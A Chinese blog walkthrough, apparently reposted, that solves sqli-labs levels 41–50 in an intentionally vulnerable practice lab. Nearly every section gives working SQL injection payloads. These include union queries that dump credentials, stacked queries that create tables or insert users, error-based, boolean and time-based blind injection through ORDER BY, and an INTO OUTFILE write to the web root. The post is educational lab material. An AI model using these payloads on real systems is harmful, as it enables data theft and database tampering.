首页 > 数据库技术 > 详细

sql-lib闯关41-50

时间:2020-03-08 10:30:27      阅读:95      评论:0      收藏:0      [点我收藏+]

第四十一关

这关和第三十九关一样,只是错误没有回显

获得版本和数据库名   ?id=0 union select 1,version(),database() %23

获得表名    ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

获得列名     ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

获取用户名密码  ?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

技术分享图片

 

 

 第四十二关

先打开网页查看 Welcome Dhakkan

技术分享图片

 技术分享图片

 

 

 

 

Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。

 

分析源码login.php可以知道:

[plain] view plain copy
  1. $username = mysqli_real_escape_string($con1, $_POST["login_user"]);  
  2. $password = $_POST["login_password"];  


password并没有被过滤,我们可以利用password来注入,用户名随意填写,密码如下:

[plain] view plain copy
    1. a‘;create table swl like users# 

技术分享图片

 

 

  虽然页面显示错误,看看数据库,发现我们已经创建进去了

技术分享图片

 

 

 第四十三关

 

 

和 42 类似 同样password 未过滤
login_user=1&login_password=a‘);create table less43 like users#&mysubmit=Login

 

 技术分享图片

 

 

 

 

 但是数据库有了

技术分享图片

 

 

 第四十四关

同上42,只是没有回显信息

login_user=a&login_password=a‘;insert into users(id,username,password) values(19,‘a‘,‘a‘) --+&mysubmit=Login

 


技术分享图片

  

 看数据库

技术分享图片

 第四十五关

和第四十三关一样,区别是没有回显

login_user=a&login_password=a‘); insert into users(id,username,password) values(20,‘‘c‘,‘c‘) --+&mysubmit=Log

 

 技术分享图片

 

 

 数据库里也有了

技术分享图片

 

 

 第四十六关

终于迎来了一个过渡
这次的注入是通过order by 来进行的通过sort 查询

 ?sort=1试一下撒,哇,一下子用户名密码全出了了,咱们这不是不用努力了。。。那咱看看这关还能干啥

 

 技术分享图片

 

 

 

 既然要用order by语句进行注入,那首先我们通过asc 和desc查看返回数据是否相同来简单判断是否存在order  by注入

为什么说他是order  by注入  因为在源代码中是这样的   $sql = "SELECT * FROM users ORDER BY $id";

?sort=1+asc   (正序)

?sort=1+desc    (倒序

 

 技术分享图片

 

 

 

 我们首先想想我们应该怎样注入 ,我们呢来获取一下啊别的啥的东西版本数据库名啥的

order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试      

没有报错,right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入

?sort=right(version(),1)     ?sort=left(version(),1) 效果是一样的

技术分享图片

 

 

 

 

 此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,

①直接添加注入语句,?sort=(select ******)

②利用一些函数。例如rand()函数等。?sort=rand(sql语句)

Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。所以我们用rand来检查我们后面输入的是否对

技术分享图片

 

 

 技术分享图片

 

 

 

③利用and,例如?sort=1 and (加sql语句)。

同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

报错注入

获取数据库名    ?sort=1 and(updatexml(1,concat(0x7e,(select database())),0)) 

 获取数据库的权限?sort=(select count(*) from information_schema.columns group by concat(0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

技术分享图片

 

 

获得数据库版本          ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

技术分享图片

 

 

布尔盲注 

 盲注获取数据库第一个字的ascii码(其他的不再演示了)

技术分享图片

 

 

 正则表达式注入 ?sort=1 ^(select(select version()) regexp ‘^5‘)发现版本

 

技术分享图片

 

 

 

 第四十七关

和上一关一样,加个单引号就可以啦

获取数据库使用权限

?sort=1‘and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+

技术分享图片

 

 

 

 获得数据库版本           ?sort=1‘and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

 也可以程序分析参数后注入    ?sort=1‘procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

技术分享图片

 

 

 当然也可以时间盲注  ?sort=1‘ and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

技术分享图片

 

 

 

 第四十八关

这关是盲注  order by 数字型盲注

布尔盲注  ?sort=rand(ascii(left(database(),1))=178)

技术分享图片

 

 

 时间盲注   ?sort=1  and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

技术分享图片

 

 

 

 

 第四十九关

这关是盲注   order by 字符型盲注,和四十六关一样,只不过没有错误回显

在四十八关的基础上加上引号就行     ?sort=1‘  and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+

 

 技术分享图片

 

 

 

 这关还可以outfile进行写      ?sort=1 into outfile ‘C:\\phpStudy\\WWW\\sqli-labs-master\\Less-49\\longshisan.php‘

第五十关

这关我们就用堆叠注入  ?sort=1;create table test50 like users;%23

 

 技术分享图片

 

 

 去数据库里看,发现有了

技术分享图片

 

 

 

 

 

sql-lib闯关41-50

原文:https://www.cnblogs.com/swl0221/p/12363527.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!